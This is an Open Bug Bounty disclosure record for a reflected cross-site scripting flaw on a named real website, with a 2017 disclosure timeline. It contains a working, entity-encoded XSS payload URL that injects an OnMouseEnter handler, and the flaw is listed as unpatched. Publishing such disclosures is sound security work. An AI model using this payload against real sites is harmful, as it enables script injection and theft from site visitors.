simmonswheels.com.au XSS vulnerability

2017-09-11T15:36:00
ID OBB:293368
Type openbugbounty
Reporter xssbuddy
Modified 2017-12-11T11:20:00

Description

Vulnerable URL:
http://simmonswheels.com.au/wheels-gallery.php?id=15&category;=jeep%22%27--!%3E%3CHtml%20OnMouseEnter=%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2396%3BOPENBUGBOUNTY%26%2396%26%2341%20%3C!--//%3E#
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 11.12.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 2788587
VIP website status:| No

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 11 September, 2017 15:36 GMT
Vulnerability existence verified and confirmed| 12 September, 2017 10:26 GMT
Generic security notifications sent to website owner| 12 September, 2017 10:26 GMT
Notification sent to subscribers (without technical details)| 12 September, 2017 14:17 GMT
Vulnerability details disclosed by researcher| 11 December, 2017 11:20 GMT